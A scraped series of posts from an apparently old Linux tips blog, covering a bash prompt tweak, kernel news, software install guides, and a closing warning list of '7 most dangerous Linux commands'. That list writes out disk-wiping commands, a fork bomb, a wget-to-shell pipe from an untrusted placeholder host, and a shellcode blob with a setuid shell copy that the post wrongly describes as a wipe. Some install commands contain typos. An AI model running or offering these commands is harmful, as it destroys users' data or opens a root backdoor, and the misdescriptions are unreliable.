Add Separator Line Between Commands on Linux Terminal

3:51 PM

If you are a person who often perform daily tasks via command line interface, you might have ever performed multiple commands at once (usually by adding "&&" between them). But, you might be confused when analyzing the output of every command and when the command is finished. So today, I'd like to show you how to add a handy separator line between commands on Linux Terminal.


As you can see the picture above, at the end of every command there will be a separator line followed by the time completion of related command. Are you interested in it? OK! Please open your text editor and paste the following code:
  • # Fill with minuses
  • # (this is recalculated every time the prompt is shown in function prompt_command):
  • fill="--- "

  • reset_style='\[\033[00m\]'
  • status_style=$reset_style'\[\033[0;90m\]' # gray color; use 0;37m for lighter color
  • prompt_style=$reset_style
  • command_style=$reset_style'\[\033[1;29m\]' # bold black
  • # Prompt variable:

  • PS1="$status_style"'$fill \t\n'"$prompt_style"'${debian_chroot:+($debian_chroot)}\u@\h:\w\$'"$command_style "

  • # Reset color for command output
  • # (this one is invoked every time before a command is executed):
  • trap 'echo -ne "\e[0m"' DEBUG


  • function prompt_command {

  • # create a $fill of all screen width minus the time string and a space:
  • let fillsize=${COLUMNS}-9
  • fill=""
  • while [ "$fillsize" -gt "0" ]
  • do
  • fill="-${fill}" # fill with underscores to work on
  • let fillsize=${fillsize}-1
  • done

  • # If this is an xterm set the title to user@host:dir
  • case "$TERM" in
  • xterm*|rxvt*)
  • bname=`basename "${PWD/$HOME/~}"`
  • echo -ne "\033]0;${bname}: ${USER}@${HOSTNAME}: ${PWD/$HOME/~}\007"
  • ;;
  • *)
  • ;;
  • esac

  • }
  • PROMPT_COMMAND=prompt_command
Save the above code as ".bash_ps1" (don't forget the dot character) and place it in your Home folder.
Lazy copying the code? Download the ".bash_ps1" file here.

Now, edit your ".bashrc" file which is located in your Home folder and append the below code:
  • if [ -f "$HOME/.bash_ps1" ]; then
  • . "$HOME/.bash_ps1"
  • fi
Save the change and run the following command to "apply" your work:
  • source ~/.bashrc

Regards :)

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Linus Torvalds Wins Millennium Technology Prize

2:50 AM

The Millennium Technology Prize is the largest technology prize in the world and it is awarded once every two years by Technology Academy Finland. The Awarded is given for life-enhancing technological innovation.

Linux kernel creator Linus Torvalds and Dr. Shinya Yamanaka won the Millennium Technology Prize, the prominent award for technological innovation for 2012.



Linus Torvalds


Linus Torvalds is best known for creation of a new open source operating system Linux kernel. It is one of the most prominent examples of free and open source software. Linux is far more than just a server operating system. In fact, it's running in quite a few more places and powers devices such as smart mobile phones, home routers / switches, server, DVR, tablet device and much more. The Linux kernel has received contributions from thousands of programmers and companies around the world. According to David A. Wheeler's calculations it could cost approximately 3 billion USD (about 2.2 billion EUR) to redevelop the Linux kernel. He also created the revision control system Git.

From the press release:
In recognition of his creation of a new open source operating system for computers leading to the widely used Linux kernel. The free availability of Linux on the Web swiftly caused a chain-reaction leading to further development and fine-tuning worth the equivalent of 73,000 man-years. Today millions use computers, smartphones and digital video recorders like Tivo run on Linux. Linus Torvald’s achievements have had a great impact on shared software development, networking and the openness of the web, making it accessible for millions, if not billions.
Via: cyberciti.biz

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Automatically Install Latest Nvidia Display Driver on Linux

6:20 PM

Dear readers! Today I'd like to write a post on how to automatically install latest Nvidia display driver on Linux. When writing this post, the latest Nvidia driver is 295.40 with the following release highlight:

  • Added support for the following GPUs:
    • GeForce GT 635M
    • GeForce 610M
  • Closed a security vulnerability which made it possible for attackers to reconfigure GPUs to gain access to arbitrary system memory. For further details, see: http://nvidia.custhelp.com/app/answers/detail/a_id/3109
  • Fixed a bug that caused DisplayPort devices to occasionally fail to turn back on after the system is resumed from suspend.
  • Added a ModeValidation X configuration option token, "AllowNon3DVisionModes", to allow modes that are not optimized for NVIDIA 3D Vision to be validated on 3D Vision monitors.

How to install this latest driver and get an update automatically when new version available? Simply, install "nvidia-current" package from repository:
  • sudo apt-get install nivida-current
In case, you are using older Ubuntu version and there is no package named "nvidia-current", you have to add X-Updates Team PPA to your software sources:
  • sudo apt-add-repository ppa:ubuntu-x-swat/x-updates
  • sudo apt-get update
  • sudo apt-get install nivida-current
Please note that installing proprietary driver might broke your system, so please use this driver at your own risk!

Regards :)

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Desura: Great Indie Game Store for Windows and Linux

6:28 AM

Desura is a great application (and service) especially for those who likes indie games. It's available on Windows and Linux. By using Desura, you can browse, search, buy (there are many free games though), and install games on your computer. It also helps you to manage, update, and even install new mods easily. Just install and play!


Install Desura on Ubuntu
Installing Desura on Ubuntu/Linux is a piece of cake. Simply, download the installer here, extract the archive, and run the Desura file. The installer will start download necessary files from its server. Once completed, you can login or create new account for Desura.


Once logged in, you will be able to browse, search, and install many available games. At every page of game, you can watch the trailer video, view the rating, read review and comments of other users. If you are interested in giving the game a try, just click "Install game" to install (or buy) the game.


Enjoy :)

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Linux for Kids

8:48 PM

Linux has been a versatile operating system catering the needs of people from all walks of life. Unlike Windows and Mac, which only target the general consumers, Linux offer various specialized distributions for engineers, doctors, religious people, and even kids. Yes, kids. Linux, thanks to its openness, has allowed many developers to create distributions made especially for kids of different age groups.

These distributions aren’t made to teach C++ programming for kids. Instead, they are normal, easy to use distros with user interfaces specially designed for the young ones.

Many of them come with games and educational software preinstalled, so that children can learn as well as have fun.

Here are some of the most impressive Linux distributions your kids and those who are young at heart would love to use
Qimo for Kids is an Ubuntu-based Linux distribution with a desktop environment designed specifically for children. The distribution comes preinstalled with educational games suitable for children 3 years and older. The distribution comes with an intuitive and very easy interface with large icons so that even the youngest children will not have any difficulty playing with it.

Sugar is the distribution based on Fedora Linux that was designed for Intel's One-Laptop-Per-Child (OLPC) project. It is aimed at K-6 children and is a radical departure from the traditional desktop, putting more fun, ease, teaching and programming abilities into the computing desktop.It is especially designed for classroom use and it is so radically different from the traditional Linux desktop that you can begin to feel you are using a completely different operating system.

Edubuntu is based on the popular Ubuntu distribution. Designed to be easy to install and very Windows-like in its operation, The distribution has three different themes, called “young”, “plain” and “default”, for young users, a plain-desktop and a general-purpose installation. The default desktop environment is Gnome and the applications that come with the installation are OpenOffice.org, KDE Edutainment Suite and Gcompris. KDE Edutainment Suite includes applications for children between ages 3 and 18 and Gcompris includes applications for children in nursery/kindergarten.

Foresight for Kids is a derivative of Foresight Linux, aimed specifically at children between 3 and 12 years old. It has Gnome as the default desktop environment and includes Tuxpaint, Tuxtyping, Gcompris, Tux of Math Command, Super Tux, Super Tux Card, Foobillard, GNU Chess, Nibbles, Frozen Bubble, Super Maryo Chronicles, F-Spot Photo Manager, Firefox Web Browser, Banshee Media Player, Pidgin Instant Messenger and Totem Movie Player, among the applications installed. The children’s attention is attracted to the bumblebee character smiling and waving from the lower end corner of the desktop, warming them to the computer immediately.

Doudou Linux is based on Debian and thus it's quite stable (and also means that if you know your way around Linux, you can install programs from the Debian repository). The desktop environment is reworked completely to make it as easy as possible for children. Doudou includes Child's Play and GCompris, two popular collections of Linux games for Kids. In addition, Doudou Linux offers adventure, arcade, board, card, logic and sports games to enjoy, Geography, Kanagram, Hangman KLetters for learning, Instant Messaging (Empathy) and Web Browser (Epiphany) for surfing. These programs are grouped under "Learn", "Work" and "Enjoy" sections and arranged in a neat, tabbed interface. 

 
Get ready to prepare your kids to become the geeks of tomorrow :)

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Linux kernel in 2011: Microsoft among top contributors

1:59 AM


The Linux Foundation has released the 2011 edition of its kernel development study. The report provides insight into the status of Linux kernel programming and the level of developer participation. It shows the volume of total growth, the relative number of contributions from major sponsors, and other relevant metrics.

The kernel has continued to see strong growth and developer engagement.

The top 10 organizations sponsoring Linux kernel development since the last report (or Linux kernel 2.6.36) are Red Hat, Intel, Novell, IBM, Texas Instruments, Broadcom, Nokia, Samsung, Oracle and Google. Mobile and embedded companies have been increasing their participation in recent years, not only adding more hardware support to the kernel but also taking responsibility for the advancement of core kernel areas. 

Ranking at number 17, the company that once called Linux a “cancer,” today is working within the collaborative development model to support its virtualization efforts and its customers. Because Linux has reached a state of ubiquity, in which both the enterprise and mobile computing markets are relying on the operating system, Microsoft is clearly working to adapt. 

The Redmond giant first began contributing code to Linux in 2009 when it submitted patches to improve the performance of running virtualized Linux guest instances on Windows servers.

Readers who want to see the full report can download the PDF from the Linux Foundation's website.



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How Linux is Developed [Video]

2:48 AM

Here is a nice video from The Linux Foundation on how Linux is Developed explained in beautiful dynamic typography.

This short video takes you inside the process by which the largest collaborative development project in the history of computing is organized. Based on the annual report "Who Writes Linux," this is a powerful and inspiring story of how Linux has become a community-driven phenomenon.



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Some Acronyms/Abbreviations/Jargon that every Linux/FOSS user should know

11:19 PM


Here is a list of some of the most common and ubiquitous Acronyms/Abbreviations/Jargon of Linux/FOSS that every Linux/FOSS user should know.


01. APT- Advanced Package Tool
02. BSD – Berkeley Software Distribution
03. bash – Bourne again shell
04. cc - C compiler
05. csh – C shell
06. FOSS - Free and Open Source Software
07. GIMP – GNU Image Manipulation Program
08. GNU - GNU is Not UNIX
09. GNOME – Gnu Network Object Modeling Environment
10. GTK - GIMP Toolkit
11. GPL – GNU General Public License
12. grep - Global regular expression print
13. GCC - GNU C Compiler
14. Grub- Grand Unified Bootloader
15. ksh – Korn shell
17. KDE – K Desktop Environment
18. LILO - Linux Loader
19. LINUX – Linus Torvald’s UNIX  ;Linux Is Not Unix; Linus’s MINIX
20. LUG – Linux users group
21. LFS - Linux From Scratch
22. lex - Lexical analyser
23. MD5 – Message digest 5
24. man - Manual
25. POSIX – Portable operating system interface
26. pwd – Print working directory
27. RHCE - Red Hat Certified Engineer
28. RPM – Red Hat package manager
29. sed - Stream editor
30. SUSE – Software- und System-Entwicklung(Software and system development)
31. tar – Tape archive
32. telnet - Terminal over network
33. UNIX - UNIpleX information and computer services
34. VimVi - Improved
35. WINE - WINE is not an emulator
36. X – X Window System
37. YaST - Yet another Setup Tool
38. yacc – Yet another compiler compiler

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Real-time Linux: Installation on Ubuntu

3:55 AM

A real-time operating system (RTOS) is an operating system (OS) intended to serve real-time application requests.

A key characteristic of an RTOS is the level of its consistency concerning the amount of time it takes to accept and complete an application's task; the variability is jitter.

An RTOS has an advanced algorithm for scheduling. Scheduler flexibility enables a wider, computer-system orchestration of process priorities, but a real-time OS is more frequently dedicated to a narrow set of applications. Key factors in a real-time OS are minimal interrupt latency and minimal thread switching latency; a real-time OS is valued more for how quickly or how predictably it can respond than for the amount of work it can perform in a given period of time.

 An RTOS is used in many Industrial applications such as

Military: For gathering data from a wide variety of real time sensors (satellite,air,surface,subsurface) and delivering it to analysis capabilities and weapon systems

Telecommunications: Real Time access to information from vast array of devices including computers,set top boxes,PDAs,Pagers and wireless phones.

Aviation: Improved real time capabilities will increase safety and efficiency by identifying dangerous situations and enabling flexible routing to relieve congestion and prevent collisions.

Automotive: Commuters will receive real time data , GPS location information and operational data via ground stations and satellites , thus routing the driver around accidents , roadwork or traffic congestion in real time.

Scientific: For monitoring and instrument control.eg.seismic information is increasingly distributed on a vast scale ,enabling scientist to verify even small scale nuclear detonations as well as helping smaller remote countries prepare for weather and seismic disasters.





The linux-realtime package available for latest Ubuntu versions can bring real-time capabilities to Ubuntu Linux. The remainder of this article will covers in detail installation of linux-realtime package for Ubuntu so that it can be used for real-time application development efforts.



Installing Linux-Realtime in Ubuntu

Linux-Realtime can be installed on both 12.04 and older versions of the Ubuntu distribution. For Ubuntu 12.04 (Precise Pangolin) you can directly add the PPA from the following command.
  • $ sudo add-apt-repository ppa:abogani/realtime
For Ubuntu 11.10 or older you need to edit the sources.list file to add the repositories manually.
  • $ sudo gedit /etc/apt/sources.list
Then append the following lines at the end of the file
deb http://ppa.launchpad.net/abogani/realtime/ubuntu precise main
deb-src http://ppa.launchpad.net/abogani/realtime/ubuntu precise main
Save the file and update the apt repositories
  • $ sudo apt-get update
You are now ready to install the Linux-Realtime on your Ubuntu system
  • $ sudo apt-get install linux-realtime
(Last two steps are also valid for PPA method in Ubuntu 12.04)

This will update the Linux kernel to the version 3.2 with realtime version. With the Previous version of your linux kernel intact which you can choose from the grub boot menu at the boot time.


Note: Booting into Real-time Linux is not recommended for day to day work on Ubuntu as the performance with Real-time Linux is slightly slow and sluggish with normal desktop environments (such as gnome, unity etc) and apps than with the normal kernel OS.



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PeaZip: Full-Featured File Archiver for Linux

8:47 PM

PeaZip is a cross-platform file archiver which can extract, create, and convert many popular file archive formats. It can aslo create self-extracting archive, split/join files, strong encryption with two factor authentication, encrypted password manager, secure deletion, find duplicate files, calculate hashes, export job definition as script.


PeaZip features overview:
  • Supports packing of 7z, ARC, BZ2, GZ, PAQ, PEA, QUAD/BALZ, TAR, UPX, WIM, XZ, ZIP, and unpacking of over 130 different archive types: ACE, ARJ, CAB, DMG, ISO, LHA, RAR, UDF, ZIPX, and more
  • Includes its very own security-oriented PEA format
  • AES-256 encryptoin support for 7z, ZIP, and PEA formats
  • Integration with GNOME and KDE desktops
  • Has portable and command line version too.
Install PeaZip on Ubuntu
Ubuntu users can install this cool application by downloading its DEB installer here. Once downloaded, double click the file or type the following command:
  • sudo dpkg -i peazip_4.4.LINUX.GTK2-2_i386.deb
  • sudo apt-get -f install
For other Linux distributions, please download the appropriate installer from PeaZip website.

Regards.

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Enemy Territory: Multiplayer First Person Shooter (FPS) Game for Linux

1:34 PM

Wolfenstein: Enemy Territory is a First Person Shooter (FPS) game which can run native on Linux. It's a free and opensource online multiplayer game set during World War II and was originally planned to be released as a commercial expansion pack to the popular FPS game Return to Castle and later as a standalone game.


Enemy Territory can be played over the Internet or Local Area Network.  Player interact with each other over a network, in two teams Allies and Axis to defend or destroy mission objectives. There are six classes of character in this game. Each character class has several unique abilities. Those classes are soldier, medic, engineer, field ops, and covert ops.

Install Enemy Territory on Ubuntu
Enemy Territory can be installed on Ubuntu by adding PlayDeb repository:
  • echo "deb http://archive.getdeb.net/ubuntu oneiric-getdeb games" | sudo tee /etc/apt/sources.list.d/playdeb.list
  • wget -q -O- http://archive.getdeb.net/getdeb-archive.key | sudo apt-key add -
  • sudo apt-get update
Once the repository added, type the following command to install Enemy Territory:
  • sudo apt-get install enemy-territory
Once installed, you can open Enemy Territory via menu or type "et" (without quotes) in Terminal.

For further information, below is a video shows the gameplay of Enemy Territory. Enjoy!




Let's play :)

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Steve Jobs tried to woo Linus Trovalds to work for Apple and sack Linux

8:25 PM

Torvalds has never met Bill Gates, but around 2000, when he was still working at Transmeta, he met Steve Jobs. Jobs invited him to Apple’s Cupertino campus and tried to hire him. “Unix for the biggest user base: that was the pitch,” says Torvalds. The condition: He’d have to drop Linux development. 


“He wanted me to work at Apple doing non-Linux things,” he said. That was a non-starter for Torvalds. Besides, he hated Mac OS’s Mach kernel.

I said no,”  Torvalds remembers.

Linux is now the core of  Operating Systems such as Android, Chrome WebOS and a few others. Had A Jobs succeeded hiring Torvalds in 2000, Linux might not have made it to 2012.

Here is a Video of Linus Trovalds talking about Apple and Steve jobs



Source: Linus Torvalds: The King of Geeks (And Dad of 3)

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XFE: Windows Explorer Like File Manager for Linux

4:00 PM

X File Explorer is a Microsoft Windows like file manager for Linux. Why I should use this application when many excellent file managers already exist? Because it's small, easy-to-use, very fast, lightweight, and only requires the FOX library to be fully functional.



Below are some features of X File Manager (XFE):

  • Very fast graphic user interface
  • Small memory footprint
  • UTF-8 support (through the FOX 1.6 library)
  • Integrated text editor (X File Write, xfw)
  • Integrated text viewer (X File View, xfv)
  • Integrated image viewer (X File Image, xfi)
  • Integrated RPM or DEB packages viewer / installer / uninstaller (X File Package, xfp)
  • Copy/cut/paste files from and to your favorite desktop (GNOME/KDE/XFCE/ROX)
  • Root mode with authentication by su or sudo
  • Color themes (GNOME, KDE, Windows, ...)
  • Icon themes (Xfe, GNOME, KDE, XFCE, Tango, Windows...)
  • Available in 19 languages
  • And more ...

Installation on Ubuntu
Ubuntu users can install X File Manager (XFE) on their system by typing the following command:
  • sudo apt-get install xfe
For further information about X File Manager (XFE), please click here.

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SUSE Studio: Build your own SUSE based Linux distro

10:31 PM

SUSE Studio is a free online Linux image creation service sponsored by Novell Inc. The company behind SUSE Enterprise Linux and Open SUSE Linux. With SUSE Studio you can develop your own SUSE based Linux OS, software appliance or virtual appliance, choosing which applications and packages they want on their "custom" Linux and create their own branding for it.

You can also choose between openSUSE, SUSE Linux Enterprise Server and SUSE Linux Enterprise Desktop bases for your custom builds, can choose GNOME, KDE and other desktop environments, The resulting build will be fully functional system with applications like Firefox, LibreOffice, and whatever apps they want.

Getting Started

Note: New and inexperienced users are advised to create their first custom build from the templates in SUSE gallery to avoid build problems due to dependency issues with selected packages. Below tutorial would be useful for both advance and new users to get started. Please also note that this article illustrates only essential steps required to create a custom build Linux and not all the aspects of SUSE Studio are covered in this tutorial.
Using SUSE Studio is very easy, what you need is just a browser and an Internet connection, you don't need to install any application on your system to create ISO files for your brand of custom Linux. Here is a short guide to get you started with SUSE Studio.

Open the website susestudio.com , it will open a welcome page, click on "sign in or create an account" you will be asked to login through your Novell, Google, Yahoo, Facebook, Twitter or Open ID accounts. If you don't have a Novell account Just choose any of the accounts such as google or facebook.


Just fill in your details and press "continue" to get started, you are now ready to start your own custom Linux distro.

Click on create you new appliance to start a new Project.






Choose a Template for your custom build, Choose the hardware architecture (32bit or 64bit) and give your Project a name, with which your custom build will be known to everybody,

Now you are ready to customize, rebrand and configure your new project,


Click on the software tab to select the packages and applications to be included in your custom build, you can add applications through repositories, upload your own RPM files , or even make a simple search in the SUSE repositories for the applications of your choice.


After choosing the applications, click on configuration tab, here you can customize Language, keyboard layout, time zone, network, firewall and user settings etc,. You can also personalize your custom build with your own logo and welcome screen background, select a default run level, add your own EULA (end user license agreement) add a custom script at boot time etc.


Now you are ready to build your first custom Linux or Software Appliance using SUSE Studio.

You can choose to create either a USB stick/hard disk image, Live CD/DVD, VMware/Virtual box, OVF virtual machine, hyper-v or Amazon EC2 image formats for your custom Linux/Appliance. Your Build may take some time depending on number of packages and will report any dependency issue or conflicts for any unmet dependencies at this step after you hit the Build button.

You can now either download the generated ISO image, or upload to Amazon EC2 and start using your own brand of Linux Desktop.





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Linux from Scratch: A compelete Guide to build your custom Linux system from source code

10:45 PM

Bruce Dubbs has announced the release of an updated version of Linux From Scratch (LFS), version 7.1. Linux From Scratch is a book of instructions on how to compile a base Linux system from scratch, either from an existing Linux installation or a Linux live CD. It is intended primarily as an educational exercise for those wishing to get an understanding about how a Linux system works under the hood.

Updated packages in this release include Linux kernel 3.2.6, GCC 4.6.2, udev 181, e2fsprogs 1.42, zlib 1.2.6, Binutils 2.22, Coreutils 8.15 and Automake 1.11.3. Readers interested in following the book and building their own custom Linux distro can do so by viewing the latest version online or they can download the entire 345-page book in PDF or HTML formats.


Linux From Scratch (LFS) is a project that provides you with the steps necessary to build your own custom Linux system. There are a lot of reasons why somebody would want to install an LFS system. The question most people raise is "why go through all the hassle of manually installing a Linux system from scratch when you can just download an existing distribution like Debian or Redhat".

The most important reason for LFS's existence is teaching people how a Linux system works internally. Building an LFS system teaches you about all that makes Linux tick, how things work together, and depend on each other. And most importantly, how to customize it to your own taste and needs.

Source: Distrowatch.org

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Truth Happens : Redhat's legendary reply to Microsoft (Remixed)

2:27 AM

Here is the new remixed version of Redhat's legendary reply to the Microsoft's anti Linux campaign 'Get the Facts' in 2002. However later in 2009 Microsoft removed the campaign page from its website replacing it will a simple comparison between Windows and Linux.

The Video gives a walk-through of historical criticism on how throughout the history, new technology has been resisted by those who said it couldn't be done. Yet despite opposition, time and again the impossible is made possible by those with determination and vision.


Now the history has witnessed how open source is a better way, a better way of developing technology and a better way of making it accessible. And while there are those who have ignored open source or claimed it wouldn't work or wouldn't last, but at last truth happens.



The video ends with a quotation from Mahatma Gandhi

"First they ignore you...
Then they laugh at you...
Then they fight you...
Then you win... "

Hope you will enjoy the video :)

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Free Ebook: The Linux Command Line

11:03 AM

Nowadays, most computer users are only familiar with the Graphical User Interface (GUI) and think that Command Line Interface (CLI) is an old-fashioned way to interact with computer. This is not true, because command line interface is expressive way to interact with computer, just like writing letter or message to our friends. It's been said that:

graphical user interfaces make easy tasks easy, while command line interfaces make difficult tasks possible

So, learning command line interface is important if you want to get the most out of Linux operating system. Linux command line is a great tool because we can perform a lot of tasks there. There are many references to learning command line interface. One of them is an eBook I'll post here.

This book is entitled "The Linux Command Line" written by William E. Shotts. This book contains 522 pages and divided into five parts:
Part 1: Introduction
Tells some story related with command line interface.

Part 2: Learning The Shell
Starts the exploration of the basic language of the command line including such things as the structure of commands, file system navigation, command line editing, and finding help and documentation for commands.

Part 3: Configuration And The Environment
Covers editing configuration files that control the computer's operation from the command line.

Part 4: Common Tasks And Essential Tools
Explores many of the ordinary tasks that are commonly performed from the command line. Unix-like operating systems, such as Linux, contain many “classic” command line programs that are used to perform powerful operations on data.

Part 5: Writing Shell Scripts
Introduces shell programming, an admittedly rudimentary, but easy to learn, technique for automating many common computing tasks. By learning shell programming, you will become familiar with concepts that can be applied to many other programming languages.

Well, if you want to learn Linux command line interface to get the most out of it, please download this book by clicking the below link:

Download eBook: The Linux Command Line

Regards :)

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Upgrade to Kernel 3.2 in Ubuntu 11.10 (oneiric ocelot)

5:37 PM

The Linux Foundation officially released the new Linux 3.2 kernel few days ago. The latest release comes with many improvements on the bugs and enhancement capabilities. Some important new features in the kernel 3.2 is support for ext4 block size larger than 4 KB to 1 MB, fixes Btrfs capabilities, additional support for setting the upper limit of CPU time by the process scheduler, automatic backup tree root and more.

Ubuntu 12.04 (Precise Pangolin) will have the kernel 3.2 by default, but if you still want to test the latest kernel in Ubuntu 11.10, here is how you can upgrade to the kernel 3.2 through PPA.

Warning: You are advised to make a backup of your system before proceeding ahead, we are not responsible for any data loss after kernel upgrade.
Installation of Kernel 3.2 in Ubuntu 11.10 via PPA:

  • $ sudo apt-add-repository ppa:francisbrwn9/kernels
  • $ sudo apt-get update 
  • $ sudo apt-get dist-upgrade
If  you want to revert the change and back to the previous kernel, you need to install PPA Purge.

  • $ sudo apt-get install ppa-purge
Then to remove the ppa,
  • $ sudo ppa-purge ppa:francisbrwn9/kernels

Note: The above instructions for Kernel upgrade will also work with Ubuntu derivative distros like Linux Mint, Sabily, Dream Studio, etc..

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Lightspark: Open Source Alternative to Adobe Flash Player

8:53 PM

Adobe has recently announced its plan to abandon Flash Player for Linux platform (through Netscape API to be specific) and limit it to Pepper API which is only available in Google Chrome. Thus leaving Firefox, Opera and other small browsers in doll drums.

It is a good time to look for Alternates, and Lightspark is one such alternate and is open source.

Lightspark, is  an LGPLv3 licensed Flash player and browser plugin written in C++/C that runs on Linux. Lightspark support Adobe’s newer Flash formats and AVM2 virtual machine.

The Lightspark player is completely portable. Lightspark has been successfully built on Ubuntu on PowerPC, x86, ARM and AMD64 architectures.

Installing Lightspark in Ubuntu:

For the latest version of lightspark, use the following PPA for Ubuntu 11.10 and 12.04:

  • $ sudo add-apt-repository ppa:sparkers/daily
  • $ sudo apt-get update
  • $ sudo apt-get install lightspark browser-plugin-lightspark

 Enjoy!

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7 Most Dangerous Linux Commands

7:35 AM

If you often read many of blog posts or user posts in forum or social media, you should be aware when he/she advised you to run such a command on Terminal because the command you run might be harmful for your system. Today I'd like to share you 7 most dangerous Linux commands to you. Enjoy :)

First command:
  • rm -rf / #with root privilege such as 'sudo'
This command will delete your entire files on mounted devices! Here is the demo video about what will you get after running this command:




Second command:
  • char esp[] __attribute__ ((section(".text"))) /* e.s.p
  • release */
  • = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
  • "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
  • "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
  • "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
  • "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
  • "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
  • "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
  • "cp -p /bin/sh /tmp/.beyond; chmod 4755
  • /tmp/.beyond;";
Hexadecimal code! Same as the first command, it will delete entire files on your mounted devices.

Third command:

  • mkfs.ext3 /dev/sda

This command will format your /dev/sda device and of course will delete all files on it.

Fourth command:

  • :(){:|:&};:

Will run too many processes on your system and causes the computer hang up!

Fifth command:

  • any_command > /dev/sda

Will write a raw data and all files on /dev/sda will be replaced by the raw data.

Sixth command:

  • wget http://sumber_tak_terpercaya -O- | sh

Wil download a shell script from untrusted source and run it when the download finished.

Seventh command:

  • mv /home/username/* /dev/null

Will move home directory to a place that actually doesn't exist. In other words, it will delete your home directory.

So be careful and do a check before running such commands on your system.

Regards.

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